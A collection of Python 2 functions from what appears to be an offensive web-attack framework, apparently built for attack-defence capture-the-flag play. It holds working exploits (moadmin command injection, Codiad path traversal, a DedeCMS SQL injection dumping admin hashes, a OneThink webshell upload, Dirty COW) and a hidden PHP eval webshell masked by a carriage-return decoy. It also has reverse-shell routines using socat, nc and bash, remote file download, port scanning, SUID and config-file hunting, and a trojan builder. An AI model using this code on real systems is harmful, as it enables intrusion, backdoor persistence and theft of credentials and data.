def auto_inject_flag_reaper(self, filename, content): # TODO : remove arg filename urls = self.auto_inject_phpfile(filename, content) success_numbers = 0 for url in urls: Log.info("Trying to visit : [%s] to launch the flag reaper..." % (url)) Log.info("Setting timeout to 1 second ...") try: response = requests.get(url, timeout=1) Log.error( "Error! Maybe the directory cannnot execute php script!") Log.error("\n%s\n" % (response.content)) except Exception as e: error_content = str(e) Log.info(error_content) if "Read timed out" in error_content: Log.success("Actived!") success_numbers += 1 # return True else: Log.error("Error! Maybe the directory is not writable!") if success_numbers > 0: Log.success("Active finished : [%d/%d]" % (success_numbers, len(urls))) return True else: Log.error("All failed!") return False
def interactive(self): ''' 在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端 这里判断了 webshell_url 这个变量是否为空 因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置 ''' if self.webshell_url == "": Log.error("Webshell is dead!") return while True: command = raw_input("$ ") if command == "exit": break data = { self.get_config("shell_pwd"): "system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", "")) } print data try: Log.success( self.session.post(self.webshell_url, data=data).content) except Exception as e: Log.error(str(e)) return False
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Lauching the exploition...") host = self.get_config("remote_host") port = self.get_config("remote_port") path = self.get_config("path") command = self.get_config("command") url = "http://%s:%d/%s/moadmin.php?collection=1" % (host, port, path) data = { "object": "1;system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", "")) } Log.info("Url: %s" % (url)) Log.info("Data: %s" % (data)) try: response = requests.post(url, data=data) if response.status_code == 200: Log.success("Exploit success!") print "%s" % (color.blue(response.content)) return True else: return False except Exception as e: Log.error(str(e)) return False
def reverse_shell(self, ip, port): result = self.check_bin_exists("socat") if result[0]: content = result[1][0:-1] if content != "": path = content Log.success("socat found! Path : [%s]" % path) self.reverse_shell_socat(path, ip, port) return else: Log.error("socat not found!") else: Log.error("Some error occured!") result = self.check_bin_exists("nc") if result[0]: content = result[1][0:-1] if content != "": path = content Log.success("nc found! Path : [%s]" % path) self.reverse_shell_nc(path, ip, port) return else: Log.error("nc not found!") else: Log.error("Some error occured!") self.reverse_shell_bash(ip, port) return
def download_base(self, path, local_path): Log.info("Ready to downloading file : %s" % path) Log.info("Detacting local file exists...") exists = os.path.exists(local_path) if exists: Log.info("Checking remote file (%s) hash..." % (path)) remote_hash = self.hash_remote_file(path) Log.info("Find md5 of remote file (%s) : %s" % (path, remote_hash)) Log.info("Checking local file (%s) hash..." % (local_path)) local_hash = hash_file(local_path) Log.info("Find md5 of local file (%s) : %s" % (local_path, local_hash)) if remote_hash == local_hash: Log.warning("File haved downloaded! Ignored!") return else: Log.warning("File updated, downloading new version...") else: Log.error("Local file not exists...") result = self.php_code_exec_token( 'echo base64_encode(file_get_contents("%s"));' % (path)) if result[0]: Log.success("Fetch data success! Start saving...") content = result[1] with open(local_path, "wb") as f: Log.info("Saving...") f.write(content.decode("base64")) Log.info("Download finished!") else: Log.error("Fetch data failed!")
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' host = self.get_config("remote_host") port = self.get_config("remote_port") file = self.get_config("file") if not self.login(): Log.error("Login failed!") return False Log.success("Login successful!") url = "http://%s:%d/components/filemanager/download.php?path=../../../../..%s&type=undefined" % ( host, port, file) try: response = self.session.get(url) if response.status_code == 200: Log.success("Exploit success!") Log.info(">>>>>> %s <<<<<<" % (file)) print("%s" % color.blue(response.content)) return True else: return False except Exception as e: Log.error(str(e)) return False
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Lauching the exploition...") host = self.get_config("remote_host") port = self.get_config("remote_port") url = "http://%s:%d/%s" % (host, port, '''plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294''') Log.info("Url: %s" % (url)) try: response = requests.get(url) if response.status_code == 200: content = response.content if "<h2>" not in content: Log.error("Exploit Failed!") return False data = response.content.split("<h2>")[1].split("</h2>")[0].split("\\|") if len(data) != 2: Log.error("Exploit Failed!") return False Log.success("Exploit success!") username = data[0] password = data[1] print "%s" % (color.cyan("Username\tHash")) print "%s" % (color.blue("%s\t%s" % (username, password))) return True else: return False except Exception as e: Log.error(str(e)) return False
def exploit(self): remote_host = self.get_config("remote_host") remote_port = int(self.get_config("remote_port")) password = self.get_config("shell_pwd") webshell = self.get_config("webshell").replace("__PASSWORD__", password) url = "http://%s:%d/index.php?s=/Core/File/uploadPictureBase64.html" % ( remote_host, remote_port) data = { 'data': 'data:image/php;base64,%s' % (webshell.encode("base64").replace("\n", "")) } Log.info("Data: %s" % (data)) response = requests.post(url, data=data) content = response.content if content.startswith("{\"status\":") and content.endswith(".php\"}"): Log.success("Exploit successfully!") Log.success(success_json) success_json = json.loads(content) self.webshell_url = success_json['path'].replace("\\/", "/") if self.get_config(interactive) == True: self.interactive() return True Log.error("Exploit failed!") return False
def download_advanced(self, path, args): root = get_domain(self.url) # List all dir and create them directories = self.get_all_directories(path) Log.success("Directories : \n%s" % list2string(directories, "\t[", "]\n")) Log.info("Create directories locally...") for d in directories: p = root + d Log.info("Creating : [%s]" % (p)) try: os.makedirs(p) except Exception as e: Log.error(str(e)) # Download Log.info("Listing all files...") result = self.auto_exec("find %s %s" % (path, args)) if result[0]: Log.success("Listing files success!") content = result[1].split("\n")[0:-1] for file in content: p = root + file Log.info("Downloading %s to %s" % (file, p)) self.download_base(file, p) else: Log.error("Listing files error!")
def check_working(self, url, method, auth): Log.info("Checking whether the webshell is still work...") key = random_string(6, string.letters) value = random_string(32, string.letters) token = random_string(32, string.letters) Log.info("Using challenge key : [%s] , value : [%s]" % (key, value)) Log.info("Using token : [%s]" % (token)) method = string.upper(method) if method == "POST" or method == "REQUEST": Log.info("Using POST method...") data = { auth: 'echo "' + token + '";var_dump("$_POST[' + key + ']");echo "' + token + '";', key: value } response = requests.post(url, data=data) elif method == "GET": Log.info("Using GET method...") params = { auth: 'echo "' + token + '";var_dump("$_POST[' + key + ']");echo "' + token + '";' } url = build_url(url, params) data = {key: value} response = requests.post(url, data=data) else: Log.error("Unsupported method!") return False content = response.content Log.success("The content is :\n " + content) return value in content
def read_file(self, filepath): Log.info("Reading file : [%s] ..." % (filepath)) result = self.php_code_exec_token("echo file_get_contents('%s');" % filepath) if result[0]: Log.success("Content : \n%s" % (result[1])) else: Log.error("Error occured! %s" % result[1])
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Lauching the exploition...") host = self.get_config("remote_host") port = int(self.get_config("remote_port")) url = "http://%s:%d/wp-json/wp/v2/users/" % (host, port) try: response = requests.get(url) if response.status_code == 200: Log.success("Exploit success!") content = response.content print "%s" % (color.cyan("ID\tUser\t\tDescription")) for user in json.loads(content)[::-1]: username = user["name"] if len(username) > 8: print "%s\t%s\t%s" % (user["id"], user["name"], user["description"]) else: print "%s\t%s\t\t%s" % (user["id"], user["name"], user["description"]) return True else: Log.error("Exploit Failed!") return False except Exception as e: Log.error(str(e)) return False
def auto_exec_print(self, command): result = self.auto_exec(command) if result[0]: Log.success("Result : \n%s" % (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1]) else: Log.error("Error occured! %s" % (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1])
def auto_inject_webshell(self, filename, password): # TODO : remove arg filename webshell_content = "<?php eval($_REQUEST['%s']);?>" % (password) fake_content = "<?php print_r('It works');?>" padding = " " * (len(webshell_content) - len(fake_content)) content = webshell_content + "\r" + fake_content + padding + "\n" urls = self.auto_inject_phpfile(filename, content) Log.success("Inject success : \n%s" % (urls))
def port_scan(self, hosts, ports): Log.info("Starting port scan... %s => [%s]" % (hosts, ports)) code = "set_time_limit(0);error_reporting(0);$ports_input='%s';$hosts_input='%s';$timeout=0.5;$ports=explode(',', $ports_input);$hosts_array=explode('/', $hosts_input);$ip=ip2long($hosts_array[0]);$net_mask=intval($hosts_array[1]);$range=pow(2, (32 - $net_mask));$start=$ip >> (32 - $net_mask) << (32 - $net_mask);for ($i=0;$i < $range;$i++) {$h=long2ip($start + $i);foreach ($ports as $p) {$c=@fsockopen($h, intval($p), $en, $es, $timeout);if (is_resource($c)) {echo $h.':'.$p.' => open\n';fclose($c);} else {echo $h.':'.$p.' => '.$es.'\n';}ob_flush();flush();}}" % (ports, hosts) Log.info("Executing : \n%s" % code) result = self.php_code_exec_token(code) if result[0]: Log.success("Result : \n%s" % (result[1])) else: Log.error("Error occured! %s" % result[1])
def get_writable_directory(self): command = "find %s -type d -writable" % (self.webroot) output = self.auto_exec(command) if output[0]: if output[1] == "": Log.warning("Nothing found!") else: Log.success("Found : \n%s" % output[1]) else: Log.error("Error occured! %s" % output[1])
def get_columns_from_table(self, tablename, database): code = "error_reporting(0);$h='%s';$u='%s';$p='%s';$c=new Mysqli($h,$u,$p);$c->select_db('%s');$s='select column_name from information_schema.columns where table_name = \"%s\"';$r=$c->query($s); while($d=$r->fetch_array(MYSQLI_NUM)){echo $d[0].',';}$c->close();" % ( self.ip, self.username, self.password, database, tablename) Log.info("Executing : \n%s" % code) result = self.webshell.php_code_exec_token(code) if result[0]: content = result[1] columns = content.split(",")[0:-1] Log.success("Columns : \n" + list2string(columns, "=> [", "]\n")) else: Log.error("Error occured!")
def get_kernel_version(self): if self.kernel_version != "": Log.success("Kernel Version : \n\t%s" % (self.kernel_version)) return self.kernel_version result = self.auto_exec("uname -a") if result[0]: Log.success("Kernel Version : \n\t%s" % (result[1][0:-1])) return result[1][0:-1] else: Log.error("Error occured while getting kernel version! %s" % result[1]) return ""
def get_php_version(self): if self.php_version != "": Log.success("PHP Version : \n\t%s" % (self.php_version)) return self.php_version result = self.auto_exec("php -v") if result[0]: Log.success("PHP Version : \n\t%s" % (result[1][0:-1])) return result[1][0:-1] else: Log.error("Error occured while getting php version! %s" % result[1]) return ""
def sql_exec(self, sql): # TODO 数据显示不完整的 BUG code = "error_reporting(0);$h='%s';$u='%s';$p='%s';$c=new Mysqli($h,$u,$p);$s='%s';$r=$c->query($s);while($d=$r->fetch_array(MYSQLI_NUM)){echo $d[0].',';}$c->close();" % ( self.ip, self.username, self.password, sql) Log.info("Executing : \n%s" % code) result = self.webshell.php_code_exec_token(code) if result[0]: content = result[1] Log.success(content.split(",")[0]) else: Log.error("Error occured!")
def set_config(self, key, value): ''' 对模块的参数进行修改 由 set 命令触发 通常不需要改动 ''' if key in self.config.keys(): self.config[key]["default"] = value Log.success("%s\t==>\t%s" % (key, value)) else: Log.error("No such option: %s" % (key))
def check_connection(self, url): Log.info("Checking the connection to the webshell...") try: response = requests.head(url) code = response.status_code if code != 200: Log.warning("The status code is %d, the webshell may have some problems..." % (response.status_code)) else: Log.success("The status code is %d" % (response.status_code)) return True except: Log.error("Connection error!") return False
def is_directory(self, filename): Log.info("Checking file exists : [%s]" % filename) result = self.php_code_exec_token("var_dump(is_dir('%s'));" % (filename)) if result[0]: Log.error("Checking finished successfully!") content = result[1] if "bool(true)" in content: Log.success("File (%s) is existed!" % (filename)) return True return False else: Log.error("Some error occured while checking!") return False
def get_suid_binaries(self): paths = ['/usr/local/sbin', '/usr/local/bin', '/usr/sbin', '/usr/bin', '/sbin', '/bin', '/usr/games', '/usr/local/games', '/snap/bin'] for path in paths: command = "find %s -user root -perm -4000 -exec ls -ldb {} \;" % (path) Log.info("Executing : %s" % (command)) output = self.auto_exec(command) if output[0]: if output[1] == "": Log.warning("Nothing found!") else: Log.success("Found : \n%s" % output[1]) else: Log.error("Error occured! %s" % output[1])
def check_function_exist(self, function_name): result = self.php_code_exec_token('var_dump(function_exists(%s));' % (function_name)) if result[0]: content = result[1] if "bool(true)" in content: Log.success("The function [%s] is existed!" % (function_name)) return True else: Log.error("The function [%s] is not existed!" % (function_name)) return False else: Log.error("Some error occured when exec php code...") return False
def get_config_file(self): keywords = ["config", "db", "database"] for key in keywords: Log.info("Using keyword : [%s]..." % (key)) command = "find %s -name '*%s*'" % (self.webroot, key) output = self.auto_exec(command) if output[0]: if output[1] == "": Log.warning("Nothing found!") else: Log.success("Found : \n%s" % output[1]) else: Log.error("Error occured! %s" % output[1])
def make_trojan(): if "Linux" in platform.platform(): name = raw_input("trojan name: ") or TROJAN_NAME ip = raw_input("your ip: ") or MATSER_IP if compile_trojan(name,ip): Log.success("trojan is generated successfully") else: Log.error("trojan generates fail") elif "Windows" in platform.platform(): Log.error("You should compile trojan in Linux") return False else: Log.error("Unkonw platform to compile trojan") return False
def init(self, url, method, password): if self.check_connection(url): self.working = True else: self.working = False return if self.check_working(url, method, password): Log.success("It works well!") self.working = True else: Log.error("It dead!") self.working = False return
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Creating source code...") with open("/tmp/dirtyc0w.c", "w") as f: f.write(self.code.decode("base64")) Log.info("Compiling...") os.system("gcc -o /tmp/dirtyc0w /tmp/dirtyc0w.c -pthread") Log.info("Executing...") os.system("/tmp/dirtyc0w") Log.info("Cleaning...") os.system("rm -rf /tmp/dirtyc0w") Log.success("Exploit success!")
def get_disabled_functions(self): if len(self.disabled_functions) != 0: Log.success("Disabled functions : \n%s" % list2string(self.disabled_functions, "\t[", "]\n")) return result = self.php_code_exec_token("echo ini_get('disable_functions');") if result[0]: if result[1] == "": Log.warning("No function disabled!") self.disabled_functions = [] else: self.disabled_functions = result[1].split(",")[0:-1] Log.success("Disabled functions : \n%s" % list2string(self.disabled_functions, "\t[", "]\n")) else: Log.error("Error occured! %s" % result[1])